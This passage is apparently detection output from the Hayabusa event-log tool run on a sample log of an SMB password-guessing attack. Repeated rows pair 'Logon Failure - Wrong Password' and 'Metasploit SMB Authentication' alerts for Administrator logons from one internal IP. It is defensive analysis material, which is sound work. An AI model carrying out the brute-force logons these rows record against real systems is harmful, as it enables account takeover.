Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.697 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JLkeKKFVP5vJjPtl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.697 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.751 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EqLXdGmr45vGpu3E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.751 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.801 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m7uTpMLqPgenJdRb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.801 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.852 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FQn7NqRzpGtjQdfv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.852 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.901 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8F8EZLHQtEWkeob1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.901 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.936 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5joxW81M9vcAfbJw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.936 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.988 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iMfmQF3xsaV5SQVZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:05.988 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.040 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QQe9VL8eeco0SdPW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.040 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.080 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MnMbxQEuczrnMLKc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.080 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.137 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3DWOiTIp6JQLq9Vz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.137 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.180 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E1ORteg467kiFxmD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.180 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.216 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EoVhHZ2lkyAEx0w9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.216 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.260 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IMSqYaVVGR5v3bXr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.260 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.298 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hEEJ05nL0lyatWKL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.298 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.349 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SgrcS1NqwVJSEv31 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.349 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.395 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CCNTu1A6c6myngXd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.395 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.434 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YLx5Hv5GmdvsO9SE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.434 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.468 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VtS3KUkTVoAWGqbW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.468 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.512 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7DxfDEwc6ykrmddu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.512 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.552 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m8yKyocZwOY574pe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.552 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.596 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JfdmcsxnDHRxJYAA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.596 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.649 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: euxBOcdse8NjSzTd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.649 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.696 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Dw7RZh5jKuRcM1xw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.696 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.742 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zIyozsYA1Mn27gl7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.742 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.786 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vhJopROjHZi6T8aF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.786 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.822 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QZ6XuZO6fIMg52tV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.822 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.870 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tvAYEepvDwz93ezW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.870 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.919 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6Er95vLjet49OmSQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.919 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.960 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OKkMGZ5on5L26cip : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:06.960 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Dp5dq3YYmmLxperL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.000 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.051 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: klkWqfYoNQQHRISX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.051 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.092 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q0EekPO3q6qRfq3i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.092 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.144 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gfG1x6sL4Aqlj7TK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.144 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.185 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: owSUehMmDEhijkfl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.185 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.224 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: J3xBPT5WiuvmPZHe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.224 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.264 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gIufEPz8FBVd5yKe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.264 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.309 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6Blruxd110NvZjof : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.309 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.364 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0VsPitzItsjU3Y59 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.364 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.460 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HEq6vk4nTe3weSOP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.460 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.507 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lE8kvmcQtCmlsqtT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.507 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.548 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IXmfjxrGC3liZ2oh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.548 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.589 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 72JLcUBrhOoXPLzD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.589 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.635 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sRoFpK2ZvBYy4jGM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.635 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.676 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9KReiI3k2WIKpxFq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.676 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.722 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wsfSzPbji6ARhU0k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.722 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.760 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: axeCxygvJ4zL4Xoq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.760 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.809 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Y64sc51Y7vbiFTIQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:07.809 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 